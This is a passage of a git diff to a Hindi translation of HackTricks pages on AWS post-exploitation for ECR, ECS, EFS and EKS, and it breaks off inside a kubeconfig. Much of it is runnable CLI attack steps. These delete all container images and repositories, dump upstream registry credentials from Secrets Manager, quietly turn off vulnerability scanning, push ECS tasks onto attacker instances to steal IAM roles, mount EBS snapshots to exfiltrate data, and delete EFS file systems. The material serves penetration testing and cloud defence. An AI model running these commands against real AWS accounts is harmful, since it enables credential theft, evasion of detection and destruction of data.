+docker inspect .dkr.ecr..amazonaws.com/: # Inspect the image indicating the URL
+
+# Upload (example uploading purplepanda with tag latest)
+docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest
+docker push .dkr.ecr..amazonaws.com/purplepanda:latest
+
+# Downloading without Docker
+# List digests
+aws ecr batch-get-image --repository-name level2 \
+--registry-id 653711331788 \
+--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
+
+## Download a digest
+aws ecr get-download-url-for-layer \
+--repository-name level2 \
+--registry-id 653711331788 \
+--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
+```
+इमेज़ डाउनलोड करने के बाद आपको इन्हें **संवेदनशील जानकारी के लिए जाँचना चाहिए**:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
+
+इन अनुमतियों में से किसी के साथ एक attacker **लाइफसाइकल पॉलिसी बना या संशोधित कर सकता है ताकि रिपॉजिटरी में सभी इमेज़ डिलीट हो जाएँ** और फिर **पूरे ECR रिपॉजिटरी को डिलीट कर सकता है**। इससे रिपॉजिटरी में संग्रहीत सभी container images की हानि होगी।
+```bash
+# Create a JSON file with the malicious lifecycle policy
+echo '{
+"rules": [
+{
+"rulePriority": 1,
+"description": "Delete all images",
+"selection": {
+"tagStatus": "any",
+"countType": "imageCountMoreThan",
+"countNumber": 0
+},
+"action": {
+"type": "expire"
+}
+}
+]
+}' > malicious_policy.json
+
+# Apply the malicious lifecycle policy to the ECR repository
+aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
+
+# Delete the ECR repository
+aws ecr delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete the ECR public repository
+aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete multiple images from the ECR repository
+aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+
+# Delete multiple images from the ECR public repository
+aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
+
+यदि ECR Pull‑Through Cache प्रमाणीकृत upstream registries (Docker Hub, GHCR, ACR, आदि) के लिए कॉन्फ़िगर किया गया है, तो upstream credentials AWS Secrets Manager में एक पूर्वानुमेय नाम प्रिफ़िक्स के साथ संग्रहीत होते हैं: `ecr-pullthroughcache/`. ऑपरेटर कभी-कभी ECR admins को व्यापक Secrets Manager read access दे देते हैं, जिससे credential exfiltration और AWS के बाहर पुन: उपयोग संभव हो जाता है।
+
+आवश्यकताएँ
+- secretsmanager:ListSecrets
+- secretsmanager:GetSecretValue
+
+PTC के संभावित secrets की सूची बनाएं
+```bash
+aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
+--output text
+```
+खोजे गए secrets को Dump करें और सामान्य fields को parse करें
+```bash
+for s in $(aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
+aws secretsmanager get-secret-value --secret-id "$s" \
+--query SecretString --output text | tee /tmp/ptc_secret.json
+jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
+jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
+done
+```
+वैकल्पिक: upstream के खिलाफ leaked creds का सत्यापन करें (read‑only login)
+```bash
+echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
+```
+प्रभाव
+- इन Secrets Manager एंट्रीज़ को पढ़ने से reusable upstream registry credentials (username/password or token) मिलते हैं, जिन्हें AWS के बाहर private images को pull करने या upstream permissions के आधार पर अतिरिक्त repositories तक पहुँचने के लिए दुरुपयोग किया जा सकता है।
+
+### Registry-level stealth: `ecr:PutRegistryScanningConfiguration` के माध्यम से scanning को disable या downgrade करना
+
+registry-level ECR permissions वाले attacker registry scanning configuration को BASIC पर सेट करके और बिना किसी scan-on-push नियमों के, चुपके से सभी (ALL) repositories के लिए automatic vulnerability scanning को घटा या disable कर सकता है। इससे नई image pushes स्वचालित रूप से scan नहीं होंगी, और vulnerable या malicious images छिप सकती हैं।
+
+आवश्यकताएँ
+- ecr:PutRegistryScanningConfiguration
+- ecr:GetRegistryScanningConfiguration
+- ecr:PutImageScanningConfiguration (optional, per‑repo)
+- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
+
+Registry-wide downgrade to manual (no auto scans)
+```bash
+REGION=us-east-1
+# Read current config (save to restore later)
+aws ecr get-registry-scanning-configuration --region "$REGION"
+
+# Set BASIC scanning with no rules (results in MANUAL scanning only)
+aws ecr put-registry-scanning-configuration \
+--region "$REGION" \
+--scan-type BASIC \
+--rules '[]'
+```
+repo और image के साथ टेस्ट
+```bash
+acct=$(aws sts get-caller-identity --query Account --output text)
+repo=ht-scan-stealth
+aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
+docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
+
+# Verify no scan ran automatically
+aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
+# Optional: will error with ScanNotFoundException if no scan exists
+aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
+```
+वैकल्पिक: repo scope पर और कमजोर करें
+```bash
+# Disable scan-on-push for a specific repository
+aws ecr put-image-scanning-configuration \
+--region "$REGION" \
+--repository-name "$repo" \
+--image-scanning-configuration scanOnPush=false
+```
+प्रभाव
+- रजिस्ट्री भर में नए image pushes स्वचालित रूप से स्कैन नहीं होते, जिससे कमजोर या दुरुपयोगी सामग्री की दृश्यता कम होती है और पहचान तब तक विलंबित रहती है जब तक कोई मैन्युअल scan शुरू न किया जाए।
+
+### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
+
+डिफ़ॉल्ट `AWS_NATIVE` से legacy `CLAIR` इंजन में BASIC scan engine बदलकर पूरे रजिस्ट्री में vulnerability detection की गुणवत्ता कम करें। यह scanning को अक्षम नहीं करता, पर findings/coverage में महत्वपूर्ण बदलाव कर सकता है। स्कैन को केवल मैनुअल-only बनाने के लिए बिना नियमों वाले BASIC registry scanning configuration के साथ मिलाएँ।
+
+आवश्यकताएँ
+- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
+- (वैकल्पिक) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
+
+प्रभाव
+- रजिस्ट्री सेटिंग `BASIC_SCAN_TYPE_VERSION` को `CLAIR` पर सेट कर दिया जाता है, इसलिए बाद के BASIC scans डाउनग्रेड किए गए इंजन के साथ चलेंगे। CloudTrail `PutAccountSetting` API कॉल को रिकॉर्ड करता है।
+
+कदम
+```bash
+REGION=us-east-1
+
+# 1) Read current value so you can restore it later
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
+
+# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
+
+# 3) Verify the setting
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
+
+# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
+aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
+
+# 5) Restore to AWS_NATIVE when finished to avoid side effects
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
deleted file mode 100644
index 72af01a6f..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# AWS - ECS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Host IAM Roles
-
-ECS में एक **IAM भूमिका को कंटेनर के अंदर चल रहे कार्य** को सौंपा जा सकता है। **यदि** कार्य एक **EC2** उदाहरण के अंदर चलाया जाता है, तो **EC2 उदाहरण** के साथ **एक और IAM** भूमिका जुड़ी होगी।\
-इसका मतलब है कि यदि आप एक ECS उदाहरण को **समझौता** करने में सफल होते हैं, तो आप संभावित रूप से **ECR और EC2 उदाहरण से संबंधित IAM भूमिका प्राप्त कर सकते हैं**। उन क्रेडेंशियल्स को प्राप्त करने के तरीके के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
-{{#endref}}
-
-> [!CAUTION]
-> ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, [**दस्तावेज़ों के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का उत्तर** में **हॉप सीमा 1** होगी, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 मेटाडेटा तक पहुंचना असंभव हो जाएगा।
-
-### Privesc to node to steal other containers creds & secrets
-
-लेकिन इसके अलावा, EC2 ECs कार्यों को चलाने के लिए डॉकर का उपयोग करता है, इसलिए यदि आप नोड पर भागने में सक्षम हैं या **डॉकर सॉकेट तक पहुंच** प्राप्त कर लेते हैं, तो आप **चेक** कर सकते हैं कि **अन्य कंटेनर** कौन से चल रहे हैं, और यहां तक कि **उनमें प्रवेश कर सकते हैं** और **उनकी IAM भूमिकाएँ** चुरा सकते हैं।
-
-#### Making containers run in current host
-
-इसके अलावा, **EC2 उदाहरण की भूमिका** आमतौर पर **क्लस्टर के अंदर नोड्स के रूप में उपयोग किए जा रहे EC2 उदाहरणों के कंटेनर उदाहरण की स्थिति को अपडेट करने** के लिए पर्याप्त **अनुमतियाँ** रखेगी। एक हमलावर **DRAINING** के लिए एक उदाहरण की **स्थिति को संशोधित** कर सकता है, फिर ECS **इससे सभी कार्यों को हटा देगा** और जो **REPLICA** के रूप में चल रहे हैं, वे **एक अलग उदाहरण में चलाए जाएंगे,** संभावित रूप से **हमलावर के उदाहरण के अंदर** ताकि वह **उनकी IAM भूमिकाएँ** और कंटेनर के अंदर से संभावित संवेदनशील जानकारी **चुरा सके**।
-```bash
-aws ecs update-container-instances-state \
---cluster  --status DRAINING --container-instances 
-```
-यहां तक कि **क्लस्टर से EC2 इंस्टेंस को रद्द करके** वही तकनीक की जा सकती है। यह संभावित रूप से कम छिपा हुआ है लेकिन यह **अन्य इंस्टेंस में कार्यों को चलाने के लिए मजबूर करेगा:**
-```bash
-aws ecs deregister-container-instance \
---cluster  --container-instance  --force
-```
-एक अंतिम तकनीक कार्यों को फिर से निष्पादित करने के लिए ECS को यह संकेत देना है कि **कार्य या कंटेनर बंद हो गया**। ऐसा करने के लिए 3 संभावित APIs हैं:
-```bash
-# Needs: ecs:SubmitTaskStateChange
-aws ecs submit-task-state-change --cluster  \
---status STOPPED --reason "anything" --containers [...]
-
-# Needs: ecs:SubmitContainerStateChange
-aws ecs submit-container-state-change ...
-
-# Needs: ecs:SubmitAttachmentStateChanges
-aws ecs submit-attachment-state-changes ...
-```
-### ECR कंटेनरों से संवेदनशील जानकारी चुराना
-
-EC2 उदाहरण के पास शायद `ecr:GetAuthorizationToken` अनुमति होगी, जिससे इसे **छवियाँ डाउनलोड** करने की अनुमति मिलेगी (आप इनमें संवेदनशील जानकारी के लिए खोज कर सकते हैं)। 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
new file mode 100644
index 000000000..f9925bbc1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
@@ -0,0 +1,127 @@
+# AWS - ECS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Host IAM Roles
+
+ECS में एक **IAM role को task को असाइन किया जा सकता है** जो container के अंदर चल रही होती है। **If** task किसी **EC2** instance के अंदर चल रही है, तो उस **EC2 instance** के साथ **another IAM** role जुड़ा होगा.\
+Which means कि यदि आप किसी ECS instance को **compromise** कर लेते हैं तो आप संभावित रूप से **obtain the IAM role associated to the ECR and to the EC2 instance** कर सकते हैं। उन क्रेडेंशियल्स को कैसे प्राप्त करें, इसके बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
+{{#endref}}
+
+> [!CAUTION]
+> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
+
+### Privesc to node to steal other containers creds & secrets
+
+इसके अलावा, EC2 docker का उपयोग करके ECS tasks चलाता है, इसलिए अगर आप node तक escape कर सकते हैं या **docker socket** को access कर लेते हैं, तो आप यह **check** कर सकते हैं कि कौन से **other containers** चल रहे हैं, और उनमें **get inside of them** करके उनके लगे हुए **IAM roles** को **steal** कर सकते हैं।
+
+#### Making containers run in current host
+
+इसके अतिरिक्त, आमतौर पर **EC2 instance role** के पास पर्याप्त **permissions** होते हैं ताकि वह क्लस्टर के अंदर nodes के रूप में इस्तेमाल हो रहे EC2 instances की **container instance state** को **update** कर सके। एक attacker किसी instance की **state of an instance to DRAINING** में बदल सकता है, तब ECS उस instance से **remove all the tasks from it** कर देगा और जो tasks **REPLICA** के रूप में चल रहे हैं वे किसी **different instance** पर **run** किये जाएंगे, संभावित रूप से attacker के **instance** पर, जिससे वह उनके **IAM roles** और container के अंदर की संवेदनशील जानकारी **steal** कर सके।
+```bash
+aws ecs update-container-instances-state \
+--cluster  --status DRAINING --container-instances 
+```
+इसी तकनीक को **deregistering the EC2 instance from the cluster** के द्वारा किया जा सकता है। यह संभावित रूप से कम stealthy है, लेकिन इससे **force the tasks to be run in other instances:**
+```bash
+aws ecs deregister-container-instance \
+--cluster  --container-instance  --force
+```
+टास्क को पुन: निष्पादित करने के लिए एक अंतिम तकनीक यह है कि ECS को सूचित किया जाए कि **task or container was stopped**. इसे करने के लिए 3 संभावित APIs हैं:
+```bash
+# Needs: ecs:SubmitTaskStateChange
+aws ecs submit-task-state-change --cluster  \
+--status STOPPED --reason "anything" --containers [...]
+
+# Needs: ecs:SubmitContainerStateChange
+aws ecs submit-container-state-change ...
+
+# Needs: ecs:SubmitAttachmentStateChanges
+aws ecs submit-attachment-state-changes ...
+```
+### Steal sensitive info from ECR containers
+
+EC2 instance के पास संभवतः permission `ecr:GetAuthorizationToken` भी होगा, जो इसे **इमेज डाउनलोड** करने की अनुमति देगा (आप उन इमेज में संवेदनशील जानकारी खोज सकते हैं)।
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
+
+नैटिव ECS EBS integration (2024+) का दुरुपयोग करके किसी मौजूदा EBS snapshot की सामग्री को सीधे नए ECS task/service के अंदर mount करें और container के अंदर से उसके डेटा को पढ़ें।
+
+- आवश्यकताएँ (न्यूनतम):
+- ecs:RegisterTaskDefinition
+- इनमें से एक:
+  - ecs:RunTask OR ecs:CreateService/ecs:UpdateService
+- iam:PassRole पर:
+- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
+- Task execution/Task roles referenced by the task definition
+- यदि snapshot CMK से encrypted है: infra role के लिए KMS permissions (ऊपर दिया गया AWS managed policy AWS managed keys के लिए आवश्यक KMS grants शामिल करता है)।
+
+- प्रभाव: Snapshot से किसी भी डिस्क सामग्री पढ़ना (उदा., database फ़ाइलें) container के अंदर और उन्हें network/logs के माध्यम से exfiltrate करना।
+
+Steps (Fargate example):
+
+1) यदि ECS infrastructure role मौजूद नहीं है तो उसे बनायें और managed policy attach करें:
+```bash
+aws iam create-role --role-name ecsInfrastructureRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsInfrastructureRole \
+--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
+```
+2) एक task definition पंजीकृत करें जिसमें volume को `configuredAtLaunch` के रूप में चिह्नित किया गया हो और इसे container में mount करें। उदाहरण (secret को प्रिंट करता है और फिर सो जाता है):
+```json
+{
+"family": "ht-ebs-read",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole",
+"containerDefinitions": [
+{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["cat /loot/secret.txt || true; sleep 3600"],
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
+"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
+}
+],
+"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
+}
+```
+3) एक service बनाएं या अपडेट करें और EBS snapshot को `volumeConfigurations.managedEBSVolume` के माध्यम से पास करें (infra role पर iam:PassRole आवश्यक)। उदाहरण:
+```json
+{
+"cluster": "ht-ecs-ebs",
+"serviceName": "ht-ebs-svc",
+"taskDefinition": "ht-ebs-read",
+"desiredCount": 1,
+"launchType": "FARGATE",
+"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
+"volumeConfigurations": [
+{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam:::role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
+]
+}
+```
+4) जब task शुरू होता है, container कॉन्फ़िगर किए गए mount path (जैसे `/loot`) पर snapshot की सामग्री पढ़ सकता है। Exfiltrate task के network/logs के माध्यम से।
+
+सफाई:
+```bash
+aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
+aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
+aws ecs deregister-task-definition ht-ebs-read
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
deleted file mode 100644
index eab80582a..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ /dev/null
@@ -1,46 +0,0 @@
-# AWS - EFS पोस्ट एक्सप्लॉइटेशन
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### `elasticfilesystem:DeleteMountTarget`
-
-एक हमलावर एक माउंट टारगेट को हटा सकता है, जिससे उस माउंट टारगेट पर निर्भर एप्लिकेशन और उपयोगकर्ताओं के लिए EFS फ़ाइल प्रणाली तक पहुंच बाधित हो सकती है।
-```sql
-aws efs delete-mount-target --mount-target-id 
-```
-**संभावित प्रभाव**: फ़ाइल प्रणाली की पहुँच में बाधा और उपयोगकर्ताओं या अनुप्रयोगों के लिए संभावित डेटा हानि।
-
-### `elasticfilesystem:DeleteFileSystem`
-
-एक हमलावर पूरे EFS फ़ाइल प्रणाली को हटा सकता है, जिससे डेटा हानि हो सकती है और फ़ाइल प्रणाली पर निर्भर अनुप्रयोगों पर प्रभाव पड़ सकता है।
-```perl
-aws efs delete-file-system --file-system-id 
-```
-**संभावित प्रभाव**: हटाए गए फ़ाइल सिस्टम का उपयोग करने वाले अनुप्रयोगों के लिए डेटा हानि और सेवा में बाधा।
-
-### `elasticfilesystem:UpdateFileSystem`
-
-एक हमलावर EFS फ़ाइल सिस्टम की विशेषताओं को अपडेट कर सकता है, जैसे थ्रूपुट मोड, जिससे इसके प्रदर्शन पर प्रभाव पड़ सकता है या संसाधन समाप्ति का कारण बन सकता है।
-```sql
-aws efs update-file-system --file-system-id  --provisioned-throughput-in-mibps 
-```
-**संभावित प्रभाव**: फ़ाइल प्रणाली के प्रदर्शन में गिरावट या संसाधन समाप्ति।
-
-### `elasticfilesystem:CreateAccessPoint` और `elasticfilesystem:DeleteAccessPoint`
-
-एक हमलावर एक्सेस पॉइंट बना या हटा सकता है, एक्सेस नियंत्रण को बदल सकता है और संभावित रूप से फ़ाइल प्रणाली तक अनधिकृत पहुँच प्राप्त कर सकता है।
-```arduino
-aws efs create-access-point --file-system-id  --posix-user  --root-directory 
-aws efs delete-access-point --access-point-id 
-```
-**संभावित प्रभाव**: फ़ाइल प्रणाली तक अनधिकृत पहुँच, डेटा का खुलासा या संशोधन। 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md
new file mode 100644
index 000000000..dc2ec462f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md
@@ -0,0 +1,46 @@
+# AWS - EFS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### `elasticfilesystem:DeleteMountTarget`
+
+An attacker उस mount target को हटा सकता है, जिससे उन applications और users के लिए EFS file system तक पहुँच बाधित हो सकती है जो उस mount target पर निर्भर हैं।
+```sql
+aws efs delete-mount-target --mount-target-id 
+```
+**Potential Impact**: फ़ाइल सिस्टम एक्सेस में व्यवधान और उपयोगकर्ताओं या अनुप्रयोगों के लिए संभावित डेटा हानि।
+
+### `elasticfilesystem:DeleteFileSystem`
+
+एक attacker पूरे EFS फ़ाइल सिस्टम को डिलीट कर सकता है, जिससे डेटा हानि हो सकती है और उन अनुप्रयोगों पर प्रभाव पड़ेगा जो इस फ़ाइल सिस्टम पर निर्भर हैं।
+```perl
+aws efs delete-file-system --file-system-id 
+```
+**संभावित प्रभाव**: उन अनुप्रयोगों के लिए डेटा हानि और सेवा व्यवधान जो हटाए गए फ़ाइल सिस्टम का उपयोग कर रहे हैं।
+
+### `elasticfilesystem:UpdateFileSystem`
+
+एक हमलावर EFS फ़ाइल सिस्टम की गुणधर्मों को अपडेट कर सकता है, जैसे कि थ्रूपुट मोड, ताकि इसके प्रदर्शन पर प्रभाव पड़े या संसाधन समाप्ति हो।
+```sql
+aws efs update-file-system --file-system-id  --provisioned-throughput-in-mibps 
+```
+**संभावित प्रभाव**: फ़ाइल सिस्टम के प्रदर्शन में गिरावट या संसाधनों का अत्यधिक उपयोग।
+
+### `elasticfilesystem:CreateAccessPoint` और `elasticfilesystem:DeleteAccessPoint`
+
+एक हमलावर access points बना या हटा सकता है, access control को बदल सकता है और संभावित रूप से स्वयं को फ़ाइल सिस्टम तक अनधिकृत पहुँच प्रदान कर सकता है।
+```arduino
+aws efs create-access-point --file-system-id  --posix-user  --root-directory 
+aws efs delete-access-point --access-point-id 
+```
+**संभावित प्रभाव**: फ़ाइल सिस्टम तक अनधिकृत पहुँच, डेटा का खुलासा या संशोधन।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
deleted file mode 100644
index b76bc211c..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ /dev/null
@@ -1,143 +0,0 @@
-# AWS - EKS पोस्ट एक्सप्लॉइटेशन
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EKS
-
-अधिक जानकारी के लिए देखें
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### AWS कंसोल से क्लस्टर की गणना करें
-
-यदि आपके पास अनुमति **`eks:AccessKubernetesApi`** है, तो आप AWS EKS कंसोल के माध्यम से **Kubernetes ऑब्जेक्ट्स** को **देख** सकते हैं ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
-
-### AWS Kubernetes क्लस्टर से कनेक्ट करें
-
-- आसान तरीका:
-```bash
-# Generate kubeconfig
-aws eks update-kubeconfig --name aws-eks-dev
-```
-- इतना आसान तरीका नहीं:
-
-यदि आप **`aws eks get-token --name `** के साथ **एक टोकन प्राप्त कर सकते हैं** लेकिन आपके पास क्लस्टर जानकारी (describeCluster) प्राप्त करने की अनुमति नहीं है, तो आप **अपना खुद का `~/.kube/config` तैयार कर सकते हैं**। हालांकि, टोकन होने पर, आपको **जुड़ने के लिए url endpoint की आवश्यकता है** (यदि आप किसी पॉड से JWT टोकन प्राप्त करने में सफल रहे हैं तो [यहाँ पढ़ें](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) और **क्लस्टर का नाम**।
-
-मेरे मामले में, मैंने CloudWatch लॉग में जानकारी नहीं पाई, लेकिन मैंने **LaunchTemplates userData** में और **EC2 मशीनों में userData में भी** इसे पाया। आप इस जानकारी को **userData** में आसानी से देख सकते हैं, उदाहरण के लिए अगले उदाहरण में (क्लस्टर का नाम cluster-name था):
-```bash
-API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
-
-/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
-```
-

-
-क्यूब कॉन्फ़िग
-```yaml
-describe-cache-parametersapiVersion: v1
-clusters:
-- cluster:
-certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU